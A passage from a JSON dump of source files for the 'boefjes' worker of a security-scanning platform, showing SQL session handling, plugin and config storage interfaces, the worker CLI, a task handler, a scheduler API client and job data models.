interval=boefje_in_db.interval,\n            run_on=RunOnDB(boefje_in_db.run_on).to_run_ons() if boefje_in_db.run_on else None,\n            oci_image=boefje_in_db.oci_image,\n            oci_arguments=boefje_in_db.oci_arguments,\n            version=boefje_in_db.version,\n            static=boefje_in_db.static,\n            deduplicate=boefje_in_db.deduplicate,\n        )\n\n    @staticmethod\n    def to_normalizer(normalizer_in_db: NormalizerInDB) -> Normalizer:\n        return Normalizer(\n            id=normalizer_in_db.plugin_id,\n            name=normalizer_in_db.name,\n            plugin_id=normalizer_in_db.id,\n            created=normalizer_in_db.created,\n            description=normalizer_in_db.description,\n            consumes=normalizer_in_db.consumes,\n            produces=normalizer_in_db.produces,\n            version=normalizer_in_db.version,\n            static=normalizer_in_db.static,\n        )\n\n\ndef create_plugin_storage(session) -> SQLPluginStorage:\n    return SQLPluginStorage(session, settings)\n\n\ndef get_plugin_storage() -> Iterator[PluginStorage]:\n    yield from session_managed_iterator(create_plugin_storage)\n"
  },
  {
    "path": "boefjes/boefjes/sql/session.py",
    "content": "import structlog\nfrom psycopg2 import errors\nfrom sqlalchemy import exc\nfrom sqlalchemy.orm import Session, sessionmaker\nfrom typing_extensions import Self\n\nfrom boefjes.storage.interfaces import IntegrityError, StorageError, UniqueViolation\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SessionMixin:\n    \"\"\"\n    This mixin makes a context manager out of a repository implementing it so session management is handled nicely.\n    Example of usage:\n\n    >>> with SomeSessionedStorage() as repo:\n    >>>     repo.create(...)\n    >>>     repo.create(...)\n    >>>\n\n    This will handle commits. Rollbacks and closing the session should be done outside this context.\n    \"\"\"\n\n    def __init__(self, session: Session):\n        # Allow both shared sessions and ad-hoc sessions.\n        self._session: Session | sessionmaker = session\n        self.session: Session = session if isinstance(session, Session) else session()\n\n    def __enter__(self) -> Self:\n        if isinstance(self._session, Session):\n            self.session = self._session\n        else:\n            self.session = self._session()\n\n        return self\n\n    def __exit__(self, exc_type: type[Exception], exc_value: str, exc_traceback: str) -> None:  # noqa: F841\n        if self.session is None:\n            raise StorageError(\"Nested sessions detected, make sure to scope transactions properly!\")\n\n        if exc_type is not None:\n            logger.error(\"An error occurred: %s. Rolling back session\", exc_value)\n            self.session.rollback()\n\n            return\n\n        try:\n            logger.debug(\"Committing session\")\n            self.session.commit()\n        except exc.IntegrityError as e:\n            if isinstance(e.orig, errors.UniqueViolation):\n                raise UniqueViolation(str(e.orig))\n            raise IntegrityError(\"An integrity error occurred\") from e\n        except exc.DatabaseError as e:\n            raise StorageError(\"A storage error occurred\") from e\n        finally:\n            if self.session.is_active:\n                logger.debug(\"Committing failed, rolling back\")\n                self.session.rollback()\n\n            if isinstance(self._session, sessionmaker):\n                self.session.close()\n"
  },
  {
    "path": "boefjes/boefjes/storage/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/storage/interfaces.py",
    "content": "import re\nfrom abc import ABC\n\nfrom boefjes.worker.models import Boefje, BoefjeConfig, Normalizer, Organisation, PluginType\n\n\nclass StorageError(Exception):\n    \"\"\"Generic exception for persistence\"\"\"\n\n    def __init__(self, message: str):\n        self.message = message\n\n\nclass IntegrityError(StorageError):\n    \"\"\"Integrity error during persistence of an entity\"\"\"\n\n    def __init__(self, message: str):\n        self.message = message\n\n\nclass UniqueViolation(IntegrityError):\n    def __init__(self, message: str):\n        self.field = self._get_field_name(message)\n        self.message = message\n\n    def _get_field_name(self, message: str) -> str | None:\n        matches = re.findall(r\"Key \\((.*)\\)=\", message)\n\n        if matches:\n            return matches[0]\n\n        return None\n\n\nclass SettingsNotConformingToSchema(StorageError):\n    def __init__(self, plugin_id: str, validation_error: str):\n        super().__init__(f\"Settings for plugin {plugin_id} are not conform the plugin schema: {validation_error}\")\n\n\nclass NotFound(StorageError):\n    \"\"\"Generic exception for when objects are not found\"\"\"\n\n\nclass OrganisationNotFound(NotFound):\n    def __init__(self, organisation_id: str):\n        super().__init__(f\"Organisation with id '{organisation_id}' not found\")\n\n\nclass PluginNotFound(NotFound):\n    def __init__(self, plugin_id: str):\n        super().__init__(f\"Plugin with id '{plugin_id}' not found\")\n\n\nclass PluginStateNotFound(NotFound):\n    def __init__(self, plugin_id: str, organisation_id: str):\n        super().__init__(f\"State for plugin with id '{plugin_id}' not found for organisation '{organisation_id}'\")\n\n\nclass ConfigNotFound(NotFound):\n    def __init__(self, organisation_id: str, plugin_id: str):\n        super().__init__(f\"Setting not found for organisation '{organisation_id}' and plugin '{plugin_id}'\")\n\n\nclass NotAllowed(StorageError):\n    \"\"\"Generic exception for operations that are not allowed at a domain level\"\"\"\n\n\nclass CannotUpdateStaticPlugin(NotAllowed):\n    def __init__(self, plugin_id: str):\n        super().__init__(f\"Plugin with id '{plugin_id}' is static, so updating it is not allowed\")\n\n\nclass DuplicatePlugin(NotAllowed):\n    def __init__(self, field: str | None):\n        super().__init__(f\"Duplicate plugin: a plugin with this {field} already exists\")\n\n\nclass OrganisationStorage(ABC):\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type: type[Exception], exc_value: str, exc_traceback: str) -> None:  # noqa: F841\n        pass\n\n    def get_by_id(self, organisation_id: str) -> Organisation:\n        raise NotImplementedError\n\n    def get_all(self) -> dict[str, Organisation]:\n        raise NotImplementedError\n\n    def create(self, organisation: Organisation) -> None:\n        raise NotImplementedError\n\n    def update(self, organisation: Organisation) -> None:\n        raise NotImplementedError\n\n    def delete_by_id(self, organisation_id: str) -> None:\n        raise NotImplementedError\n\n\nclass PluginStorage(ABC):\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type: type[Exception], exc_value: str, exc_traceback: str) -> None:  # noqa: F841\n        pass\n\n    def get_all(self) -> list[PluginType]:\n        raise NotImplementedError\n\n    def boefje_by_id(self, boefje_id: str) -> Boefje:\n        raise NotImplementedError\n\n    def normalizer_by_id(self, normalizer_id: str) -> Normalizer:\n        raise NotImplementedError\n\n    def create_boefje(self, boefje: Boefje) -> None:\n        raise NotImplementedError\n\n    def create_normalizer(self, normalizer: Normalizer) -> None:\n        raise NotImplementedError\n\n    def update_boefje(self, boefje_id: str, data: dict) -> None:\n        raise NotImplementedError\n\n    def update_normalizer(self, normalizer_id: str, data: dict) -> None:\n        raise NotImplementedError\n\n    def delete_boefje_by_id(self, boefje_id: str) -> None:\n        raise NotImplementedError\n\n    def delete_normalizer_by_id(self, normalizer_id: str) -> None:\n        raise NotImplementedError\n\n\nclass ConfigStorage(ABC):\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type: type[Exception], exc_value: str, exc_traceback: str) -> None:  # noqa: F841\n        pass\n\n    def get_all_settings(self, organisation_id: str, plugin_id: str) -> dict[str, str]:\n        raise NotImplementedError\n\n    def upsert(\n        self, organisation_id: str, plugin_id: str, settings: dict | None = None, enabled: bool | None = None\n    ) -> None:\n        raise NotImplementedError\n\n    def delete(self, organisation_id: str, plugin_id: str) -> None:\n        raise NotImplementedError\n\n    def is_enabled_by_id(self, plugin_id: str, organisation_id: str) -> bool:\n        raise NotImplementedError\n\n    def get_enabled_boefjes(self, organisation_id: str) -> list[str]:\n        raise NotImplementedError\n\n    def get_enabled_normalizers(self, organisation_id: str) -> list[str]:\n        raise NotImplementedError\n\n    def get_disabled_boefjes(self, organisation_id: str) -> list[str]:\n        raise NotImplementedError\n\n    def get_disabled_normalizers(self, organisation_id: str) -> list[str]:\n        raise NotImplementedError\n\n    def get_states_for_organisation(self, organisation_id: str) -> dict[str, bool]:\n        raise NotImplementedError\n\n    def list_boefje_configs(\n        self,\n        offset: int,\n        limit: int,\n        organisation_id: str | None = None,\n        boefje_id: str | None = None,\n        enabled: bool | None = None,\n        with_duplicates: bool = False,  # Only has effect if both organisation_id and boefje_id are set\n    ) -> list[BoefjeConfig]:\n        raise NotImplementedError\n"
  },
  {
    "path": "boefjes/boefjes/storage/memory.py",
    "content": "from boefjes.storage.interfaces import ConfigStorage, OrganisationStorage, PluginNotFound, PluginStorage\nfrom boefjes.worker.models import Boefje, BoefjeConfig, Normalizer, Organisation, PluginType\n\n# key = organisation id; value = organisation\norganisations: dict[str, Organisation] = {}\n\n# key = organisation, repository/plugin id; value = enabled/ disabled\nplugins_state: dict[str, dict[str, bool]] = {}\n\n\nclass OrganisationStorageMemory(OrganisationStorage):\n    def __init__(self, defaults: dict[str, Organisation] | None = None):\n        self._data = organisations if defaults is None else defaults\n\n    def get_by_id(self, organisation_id: str) -> Organisation:\n        return self._data[organisation_id]\n\n    def get_all(self) -> dict[str, Organisation]:\n        return self._data\n\n    def create(self, organisation: Organisation) -> None:\n        self._data[organisation.id] = organisation\n\n    def update(self, organisation: Organisation) -> None:\n        self._data[organisation.id] = organisation\n\n    def delete_by_id(self, organisation_id: str) -> None:\n        del self._data[organisation_id]\n\n\nclass PluginStorageMemory(PluginStorage):\n    def __init__(self):\n        self._boefjes = {}\n        self._normalizers = {}\n\n    def get_all(self) -> list[PluginType]:\n        return list(self._boefjes.values()) + list(self._normalizers.values())\n\n    def boefje_by_id(self, boefje_id: str) -> Boefje:\n        if boefje_id not in self._boefjes:\n            raise PluginNotFound(boefje_id)\n\n        return self._boefjes[boefje_id]\n\n    def normalizer_by_id(self, normalizer_id: str) -> Normalizer:\n        if normalizer_id not in self._normalizers:\n            raise PluginNotFound(normalizer_id)\n\n        return self._normalizers[normalizer_id]\n\n    def create_boefje(self, boefje: Boefje) -> None:\n        self._boefjes[boefje.id] = boefje\n\n    def create_normalizer(self, normalizer: Normalizer) -> None:\n        self._normalizers[normalizer.id] = normalizer\n\n    def update_boefje(self, boefje_id: str, data: dict) -> None:\n        if not data:\n            return\n\n        if boefje_id not in self._boefjes:\n            raise PluginNotFound(boefje_id)\n\n        boefje = self._boefjes[boefje_id]\n\n        for key, value in data.items():\n            setattr(boefje, key, value)\n\n    def update_normalizer(self, normalizer_id: str, data: dict) -> None:\n        if not data:\n            return\n\n        if normalizer_id not in self._normalizers:\n            raise PluginNotFound(normalizer_id)\n\n        normalizer = self._normalizers[normalizer_id]\n\n        for key, value in data.items():\n            setattr(normalizer, key, value)\n\n    def delete_boefje_by_id(self, boefje_id: str) -> None:\n        del self._boefjes[boefje_id]\n\n    def delete_normalizer_by_id(self, normalizer_id: str) -> None:\n        del self._normalizers[normalizer_id]\n\n\nclass ConfigStorageMemory(ConfigStorage):\n    def __init__(self):\n        self._data = {}\n        self._enabled = {}\n\n    def get_all_settings(self, organisation_id: str, plugin_id: str) -> dict[str, str]:\n        if organisation_id not in self._data:\n            return {}\n\n        return self._data[organisation_id].get(plugin_id, {})\n\n    def upsert(\n        self, organisation_id: str, plugin_id: str, settings: dict | None = None, enabled: bool | None = None\n    ) -> None:\n        self._data.setdefault(organisation_id, {})\n        self._data[organisation_id].setdefault(plugin_id, {})\n        self._enabled.setdefault(organisation_id, {})\n\n        if settings is not None:\n            self._data[organisation_id][plugin_id] = settings\n\n        if enabled is not None:\n            self._enabled[organisation_id][plugin_id] = enabled\n\n        return\n\n    def delete(self, organisation_id: str, plugin_id: str) -> None:\n        del self._data[organisation_id][plugin_id]\n\n    def is_enabled_by_id(self, plugin_id: str, organisation_id: str) -> bool:\n        if organisation_id not in self._enabled or plugin_id not in self._enabled[organisation_id]:\n            raise PluginNotFound(plugin_id)\n\n        return self._enabled[organisation_id][plugin_id]\n\n    def get_enabled_boefjes(self, organisation_id: str) -> list[str]:\n        return [\n            plugin_id\n            for plugin_id, enabled in self._enabled.get(organisation_id, {}).items()\n            if enabled and \"norm\" not in plugin_id\n        ]\n\n    def get_enabled_normalizers(self, organisation_id: str) -> list[str]:\n        return [\n            plugin_id\n            for plugin_id, enabled in self._enabled.get(organisation_id, {}).items()\n            if enabled and \"norm\" in plugin_id\n        ]\n\n    def get_disabled_boefjes(self, organisation_id: str) -> list[str]:\n        return [\n            plugin_id\n            for plugin_id, enabled in self._enabled.get(organisation_id, {}).items()\n            if not enabled and \"norm\" not in plugin_id\n        ]\n\n    def get_disabled_normalizers(self, organisation_id: str) -> list[str]:\n        return [\n            plugin_id\n            for plugin_id, enabled in self._enabled.get(organisation_id, {}).items()\n            if not enabled and \"norm\" in plugin_id\n        ]\n\n    def get_states_for_organisation(self, organisation_id: str) -> dict[str, bool]:\n        return self._enabled.get(organisation_id, {})\n\n    def list_boefje_configs(\n        self,\n        offset: int,\n        limit: int,\n        organisation_id: str | None = None,\n        boefje_id: str | None = None,\n        enabled: bool | None = None,\n        with_duplicates: bool = False,  # Only has effect if both organisation_id and boefje_id are set\n    ) -> list[BoefjeConfig]:\n        return [\n            BoefjeConfig(\n                id=1,\n                settings=settings,\n                enabled=self._enabled[org_code].get(plugin_id, False),\n                boefje_id=plugin_id,\n                organisation_id=org_code,\n            )\n            for org_code, org_data in self._data.items()\n            for plugin_id, settings in org_data.items()\n        ]\n"
  },
  {
    "path": "boefjes/boefjes/version.py",
    "content": "from importlib.metadata import PackageNotFoundError, version\n\ntry:\n    __version__ = version(\"boefjes\")\nexcept PackageNotFoundError:\n    # package is not installed\n    __version__ = \"0.0.1.dev1\"\n"
  },
  {
    "path": "boefjes/boefjes/worker/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/worker/__main__.py",
    "content": "import json\nimport logging.config\nimport os\nfrom pathlib import Path\n\nimport click\nimport structlog\n\nfrom .boefje_handler import LocalBoefjeHandler\nfrom .client import BoefjeAPIClient\nfrom .interfaces import WorkerManager\nfrom .manager import SchedulerWorkerManager\nfrom .oci_adapter import run_with_callback\nfrom .repository import LocalPluginRepository\n\nlogging_format = os.getenv(\"LOGGING_FORMAT\", \"text\")\nlog_cfg = Path(os.getenv(\"LOG_CFG\", \"logging.json\"))\n\nwith log_cfg.open() as f:\n    logging.config.dictConfig(json.load(f))\n\nstructlog.configure(\n    processors=[\n        structlog.contextvars.merge_contextvars,\n        structlog.processors.add_log_level,\n        structlog.processors.StackInfoRenderer(),\n        structlog.dev.set_exc_info,\n        structlog.stdlib.PositionalArgumentsFormatter(),\n        structlog.processors.TimeStamper(\"iso\", utc=False),\n        (\n            structlog.dev.ConsoleRenderer(colors=True, pad_level=False)\n            if logging_format == \"text\"\n            else structlog.processors.JSONRenderer()\n        ),\n    ],\n    context_class=dict,\n    logger_factory=structlog.stdlib.LoggerFactory(),\n    wrapper_class=structlog.stdlib.BoundLogger,\n    cache_logger_on_first_use=True,\n)\n\nlogger = structlog.get_logger(__name__)\n\n\n@click.command()\n@click.option(\"-p\", \"--plugins\", type=str, default=None, multiple=True, help=\"A list of plugin ids to filter on.\")\n@click.option(\n    \"-l\", \"--log-level\", type=click.Choice([\"DEBUG\", \"INFO\", \"WARNING\", \"ERROR\"]), help=\"Log level\", default=\"INFO\"\n)\n@click.argument(\"input_url\", default=\"\")\ndef cli(plugins: tuple[str] | None, log_level: str, input_url: str) -> None:\n    logger.setLevel(log_level)\n    logger.info(\"Starting runtime\")\n\n    if input_url:\n        return run_with_callback(input_url)\n\n    base_url = os.getenv(\"BOEFJES_API\")\n    oci_image = os.getenv(\"OCI_IMAGE\")\n\n    if not plugins:\n        env_plugins = os.getenv(\"PLUGINS\")\n        parsed_plugins = env_plugins.split(\",\") if env_plugins else None\n    else:\n        parsed_plugins = list(plugins)\n\n    pool_size = int(os.getenv(\"POOL_SIZE\", \"2\"))\n    poll_interval = float(os.getenv(\"POLL_INTERVAL\", \"10.0\"))\n    heartbeat = float(os.getenv(\"WORKER_HEARTBEAT\", \"1.0\"))\n    deduplicate = bool(os.getenv(\"DEDUPLICATE\", \"false\"))\n\n    if base_url is None:\n        raise ValueError(\"An task API is needed for a worker setup. See the BOEFJE_API environment variable.\")\n\n    if oci_image is None:\n        raise ValueError(\n            \"This environment has not been built properly: no OCI_IMAGE environment variable found. \"\n            \"Please build the boefje image with this variable set to the oci image id.\"\n        )\n\n    outgoing_request_timeout = int(os.getenv(\"OUTGOING_REQUEST_TIMEOUT\", \"30\"))\n\n    boefje_api = BoefjeAPIClient(base_url, outgoing_request_timeout, [oci_image], parsed_plugins)\n    handler = LocalBoefjeHandler(LocalPluginRepository(Path()), boefje_api)\n    logger.info(\n        \"Configured BoefjeAPI [base_url=%s, outgoing_request_timeout=%s, images=%s, plugins=%s]\",\n        base_url,\n        outgoing_request_timeout,\n        [oci_image],\n        parsed_plugins,\n    )\n\n    SchedulerWorkerManager(handler, boefje_api, pool_size, poll_interval, heartbeat, deduplicate).run(\n        WorkerManager.Queue.BOEFJES\n    )\n\n\nif __name__ == \"__main__\":\n    cli()\n"
  },
  {
    "path": "boefjes/boefjes/worker/boefje_handler.py",
    "content": "import os\nimport traceback\nfrom base64 import b64encode\nfrom datetime import datetime, timezone\nfrom typing import Literal\n\nimport structlog\n\nfrom .interfaces import BoefjeHandler, BoefjeOutput, BoefjeStorageInterface, File, JobRuntimeError, StatusEnum, Task\nfrom .job_models import BoefjeMeta\nfrom .repository import BoefjeResource, LocalPluginRepository, _default_mime_types\n\nlogger = structlog.get_logger(__name__)\n\nMIMETYPE_MIN_LENGTH = 5  # two chars before, and 2 chars after the slash ought to be reasonable\n\n\nclass TemporaryEnvironment:\n    \"\"\"Context manager that temporarily adds environment vars and restores the old env after exiting the context\"\"\"\n\n    def __init__(self, additional_environment: dict):\n        self._original_environment = os.environ.copy()\n        os.environ.update(additional_environment)\n\n    def __enter__(self):\n        return os.environ\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        os.environ.clear()\n        os.environ.update(self._original_environment)\n\n\ndef _copy_raw_files(\n    storage: BoefjeStorageInterface, boefje_meta: BoefjeMeta, boefje_output: BoefjeOutput, duplicated_tasks: list[Task]\n):\n    for item in duplicated_tasks:\n        new_boefje_meta = item.data\n        new_boefje_meta.runnable_hash = boefje_meta.runnable_hash\n        new_boefje_meta.environment = boefje_meta.environment\n        new_boefje_meta.started_at = boefje_meta.started_at\n        new_boefje_meta.ended_at = boefje_meta.ended_at\n\n        storage.save_output(new_boefje_meta, boefje_output)\n\n        logger.info(\"Saved raw files boefje %s[%s]\", new_boefje_meta.boefje.id, new_boefje_meta.id)\n\n\nclass LocalBoefjeHandler(BoefjeHandler):\n    def __init__(self, local_repository: LocalPluginRepository, boefje_storage: BoefjeStorageInterface):\n        self.local_repository = local_repository\n        self.boefje_storage = boefje_storage\n\n    def handle(self, task: Task) -> tuple[BoefjeMeta, BoefjeOutput] | None | Literal[False]:\n        boefje_meta = task.data\n\n        if not isinstance(boefje_meta, BoefjeMeta):\n            raise ValueError(\"Plugin id does not belong to a boefje\")\n\n        logger.info(\"Starting boefje %s[%s]\", boefje_meta.boefje.id, str(boefje_meta.id))\n        error = None\n\n        try:\n            logger.debug(\"Running local boefje plugin\")\n\n            try:\n                # TODO: remove/change once all boefjes are oci images. This is now a \"fallback\".\n                boefje_resource = self.local_repository.by_id(boefje_meta.boefje.id)\n            except KeyError:\n                if not boefje_meta.boefje.oci_image:\n                    raise\n\n                boefje_resource = self.local_repository.by_image(boefje_meta.boefje.oci_image)\n\n            if not isinstance(boefje_resource, BoefjeResource):\n                raise JobRuntimeError(f\"Not a boefje: {boefje_meta.boefje.id}\")\n\n            if not boefje_resource.module:\n                raise JobRuntimeError(\"No runnable module found\")\n\n            boefje_meta.started_at = datetime.now(timezone.utc)\n\n            with TemporaryEnvironment(boefje_meta.environment or {}):\n                boefje_results = boefje_resource.module.run(boefje_meta.model_dump())\n\n            boefje_meta.ended_at = datetime.now(timezone.utc)\n        except BaseException as e:\n            logger.exception(\"Error running boefje %s[%s]\", boefje_meta.boefje.id, str(boefje_meta.id))\n            boefje_meta.ended_at = datetime.now(timezone.utc)\n            boefje_results = [({\"error/boefje\"}, traceback.format_exc())]\n            error = e\n\n        logger.info(\"Saving to Bytes for boefje %s[%s]\", boefje_meta.boefje.id, str(boefje_meta.id))\n\n        if not boefje_results:\n            logger.info(\"No results for boefje %s[%s]\", boefje_meta.boefje.id, boefje_meta.id)\n            return None\n\n        files: list[File] = []\n\n        for boefje_added_mime_types, output in boefje_results:\n            valid_mimetypes = set()\n            for mimetype in boefje_added_mime_types:\n                if len(mimetype) < MIMETYPE_MIN_LENGTH or \"/\" not in mimetype:\n                    logger.warning(\n                        \"Invalid mime-type encountered in output for boefje %s[%s]\",\n                        boefje_meta.boefje.id,\n                        str(boefje_meta.id),\n                    )\n                else:\n                    valid_mimetypes.add(mimetype)\n\n            files.append(\n                File(\n                    name=str(len(files)),\n                    content=(b64encode(output) if isinstance(output, bytes) else b64encode(output.encode())).decode(),\n                    tags=_default_mime_types(boefje_meta.boefje).union(\n                        valid_mimetypes\n                    ),  # default mime-types are added through the API\n                )\n            )\n\n        boefje_output = BoefjeOutput(\n            status=StatusEnum.FAILED if error is not None else StatusEnum.COMPLETED, files=files\n        )\n        raw_file_ids = self.boefje_storage.save_output(boefje_meta, boefje_output)\n\n        logger.info(\"Saved %s raw files for boefje %s[%s]\", len(raw_file_ids), boefje_meta.boefje.id, boefje_meta.id)\n\n        if error is not None:\n            raise error\n\n        return boefje_meta, boefje_output\n\n    def copy_raw_files(\n        self, task: Task, output: tuple[BoefjeMeta, BoefjeOutput] | Literal[False], duplicated_tasks: list[Task]\n    ) -> None:\n        if output is False:\n            return  # Output belonged to a docker boefje\n\n        boefje_meta, boefje_output = output\n\n        _copy_raw_files(self.boefje_storage, boefje_meta, boefje_output, duplicated_tasks)\n"
  },
  {
    "path": "boefjes/boefjes/worker/client.py",
    "content": "import uuid\nfrom typing import Any\n\nfrom httpx import Client, HTTPTransport, Response\nfrom pydantic import TypeAdapter\n\n# A deliberate relative import to make this module self-contained\nfrom .interfaces import BoefjeOutput, BoefjeStorageInterface, SchedulerClientInterface, Task, TaskStatus, WorkerManager\nfrom .job_models import BoefjeMeta\n\n\nclass BoefjeAPIClient(SchedulerClientInterface, BoefjeStorageInterface):\n    def __init__(\n        self,\n        base_url: str,\n        outgoing_request_timeout: int,\n        oci_images: list[str] | None = None,\n        plugins: list[str] | None = None,\n    ):\n        self._session = Client(base_url=base_url, transport=HTTPTransport(retries=6), timeout=outgoing_request_timeout)\n        self.oci_images = oci_images\n        self.plugins = plugins\n\n    @staticmethod\n    def _verify_response(response: Response) -> None:\n        response.raise_for_status()\n\n    def pop_items(\n        self, queue: WorkerManager.Queue, filters: dict[str, list[dict[str, Any]]] | None = None, limit: int | None = 1\n    ) -> list[Task]:\n        if not filters:\n            filters = {\"filters\": []}\n        if self.oci_images:\n            filters[\"filters\"].append(\n                {\"column\": \"data\", \"field\": \"boefje__oci_image\", \"operator\": \"in\", \"value\": self.oci_images}\n            )\n        if self.plugins:\n            filters[\"filters\"].append(\n                {\"column\": \"data\", \"field\": \"boefje__id\", \"operator\": \"in\", \"value\": self.plugins}\n            )\n\n        response = self._session.post(\n            f\"/api/v0/scheduler/{queue.value}/pop\",\n            json=filters if filters[\"filters\"] else None,\n            params={\"limit\": limit} if limit else None,\n        )\n        self._verify_response(response)\n\n        return TypeAdapter(list[Task]).validate_json(response.content)\n\n    def push_item(self, p_item: Task) -> None:\n        response = self._session.post(\n            f\"/api/v0/scheduler/{p_item.scheduler_id}/push\", json=p_item.model_dump(mode=\"json\")\n        )\n        self._verify_response(response)\n\n    def patch_task(self, task_id: uuid.UUID, status: TaskStatus) -> None:\n        response = self._session.patch(f\"/api/v0/scheduler/tasks/{task_id}\", json={\"status\": status.value})\n        self._verify_response(response)\n\n    def get_task(self, task_id: uuid.UUID, hydrate: bool = True) -> Task:\n        response = self._session.get(f\"/api/v0/scheduler/tasks/{task_id}\")\n        self._verify_response(response)\n\n        task = Task.model_validate_json(response.content)\n\n        return task\n\n    def save_output(self, boefje_meta: BoefjeMeta, boefje_output: BoefjeOutput) -> dict[str, uuid.UUID]:\n        response = self._session.post(f\"/api/v0/tasks/{boefje_meta.id}\", json=boefje_output.model_dump(mode=\"json\"))\n        self._verify_response(response)\n\n        return response.json()\n"
  },
  {
    "path": "boefjes/boefjes/worker/interfaces.py",
    "content": "import datetime\nimport uuid\nfrom enum import Enum\nfrom typing import Any, Literal\n\nfrom pydantic import BaseModel, ConfigDict, Field\n\n# A deliberate relative import to make this module self-contained\nfrom .job_models import BoefjeMeta, NormalizerMeta\n\n\nclass JobRuntimeError(RuntimeError):\n    \"\"\"Base exception class for exceptions raised during running of jobs\"\"\"\n\n\nclass Queue(BaseModel):\n    id: str\n    size: int\n\n\nclass TaskStatus(Enum):\n    \"\"\"Status of a task.\"\"\"\n\n    PENDING = \"pending\"\n    QUEUED = \"queued\"\n    DISPATCHED = \"dispatched\"\n    RUNNING = \"running\"\n    COMPLETED = \"completed\"\n    FAILED = \"failed\"\n    CANCELLED = \"cancelled\"\n\n\nclass Task(BaseModel):\n    id: uuid.UUID\n    scheduler_id: str\n    schedule_id: str | None\n    organisation: str\n    priority: int\n    status: TaskStatus\n    type: str\n    hash: str | None = None\n    data: BoefjeMeta | NormalizerMeta\n    created_at: datetime.datetime\n    modified_at: datetime.datetime\n\n\nclass TaskPop(BaseModel):\n    results: list[Task]\n\n\nclass StatusEnum(str, Enum):\n    COMPLETED = \"COMPLETED\"\n    FAILED = \"FAILED\"\n\n\nclass File(BaseModel):\n    name: str\n    content: str = Field(json_schema_extra={\"contentEncoding\": \"base64\"})\n    tags: set[str] | None = None\n\n\nclass BoefjeInput(BaseModel):\n    output_url: str\n    task: Task\n    model_config = ConfigDict(extra=\"forbid\")\n\n\nclass BoefjeOutput(BaseModel):\n    status: StatusEnum\n    files: list[File] | None = None\n\n\nclass WorkerManager:\n    class Queue(Enum):\n        BOEFJES = \"boefje\"\n        NORMALIZERS = \"normalizer\"\n\n    def run(self, queue: Queue) -> None:\n        raise NotImplementedError()\n\n\nclass BoefjeHandler:\n    def handle(self, task: Task) -> tuple[BoefjeMeta, BoefjeOutput] | None | Literal[False]:\n        \"\"\"\n        With regard to the return type:\n            :rtype: tuple[BoefjeMeta, list[tuple[set, bytes | str]]] | None | bool\n\n        The return type signals the app how the boefje was handled. A successful run returns a tuple of the updated\n        boefje_meta and its results to allow for deduplication. A failure returns None. And for now as a temporary\n        solution, we return False if the task was not handled here directly, but delegated to the Docker runner.\n        \"\"\"\n        raise NotImplementedError()\n\n    def copy_raw_files(\n        self, task: Task, output: tuple[BoefjeMeta, BoefjeOutput] | Literal[False], duplicated_tasks: list[Task]\n    ) -> None:\n        raise NotImplementedError()\n\n\nclass NormalizerHandler:\n    def handle(self, task: Task) -> None:\n        raise NotImplementedError()\n\n\nclass PaginatedTasksResponse(BaseModel):\n    count: int\n    next: str | None = None\n    previous: str | None = None\n    results: list[Task]\n\n\nclass SchedulerClientInterface:\n    def pop_items(\n        self, queue: WorkerManager.Queue, filters: dict[str, list[dict[str, Any]]] | None = None, limit: int = 1\n    ) -> list[Task]:\n        raise NotImplementedError()\n\n    def patch_task(self, task_id: uuid.UUID, status: TaskStatus) -> None:\n        raise NotImplementedError()\n\n    def get_task(self, task_id: uuid.UUID, hydrate: bool = True) -> Task:\n        raise NotImplementedError()\n\n    def push_item(self, p_item: Task) -> None:\n        raise NotImplementedError()\n\n\nclass BoefjeStorageInterface:\n    def save_output(self, boefje_meta: BoefjeMeta, boefje_output: BoefjeOutput) -> dict[str, uuid.UUID]:\n        raise NotImplementedError()\n"
  },
  {
    "path": "boefjes/boefjes/worker/job_models.py",
    "content": "import json\nfrom datetime import timedelta\nfrom typing import Annotated\nfrom uuid import UUID\n\nfrom pydantic import AwareDatetime, BaseModel, Field, StringConstraints\n\n\nclass JobException(Exception):\n    \"\"\"General error for jobs\"\"\"\n\n    def __init__(self, message: str):\n        super().__init__(message)\n\n\nclass Job(BaseModel):\n    id: UUID\n    started_at: AwareDatetime | None = Field(default=None)\n    ended_at: AwareDatetime | None = Field(default=None)\n\n    @property\n    def runtime(self) -> timedelta | None:\n        if self.started_at is not None and self.ended_at is not None:\n            return self.ended_at - self.started_at\n        else:\n            return None\n\n\nclass Boefje(BaseModel):\n    \"\"\"Identifier for Boefje in a BoefjeMeta\"\"\"\n\n    id: Annotated[str, StringConstraints(min_length=1)]\n    version: str | None = Field(default=None)\n    oci_image: str | None = Field(default=None)\n\n\nclass BoefjeMeta(Job):\n    boefje: Boefje\n    input_ooi: str | None = None\n    arguments: dict = {}\n    organization: str\n    runnable_hash: str | None = None\n    environment: dict[str, str] | None = None\n\n\nclass RawDataMeta(BaseModel):\n    id: UUID\n    boefje_meta: BoefjeMeta\n    mime_types: list[dict[str, str]]\n\n\nclass Normalizer(BaseModel):\n    \"\"\"Identifier for Normalizer in a NormalizerMeta\"\"\"\n\n    id: Annotated[str, StringConstraints(min_length=1)]\n    version: str | None = Field(default=None)\n\n\nclass NormalizerMeta(Job):\n    raw_data: RawDataMeta\n    normalizer: Normalizer\n\n\nclass ObservationsWithoutInputOOI(JobException):\n    def __init__(self, normalizer_meta: NormalizerMeta):\n        super().__init__(\n            \"Observations are yielded in the normalizer but no input ooi was found. \"\n            \"Your boefje should either yield observations with a custom input\"\n            \"or always run on a specified input ooi type.\\n\"\n            f\"NormalizerMeta: {json.dumps(normalizer_meta.model_dump(mode='json'), indent=3)}\"\n        )\n\n\nclass InvalidReturnValueNormalizer(JobException):\n    pass\n"
  },
  {
    "path": "boefjes/boefjes/worker/manager.py",
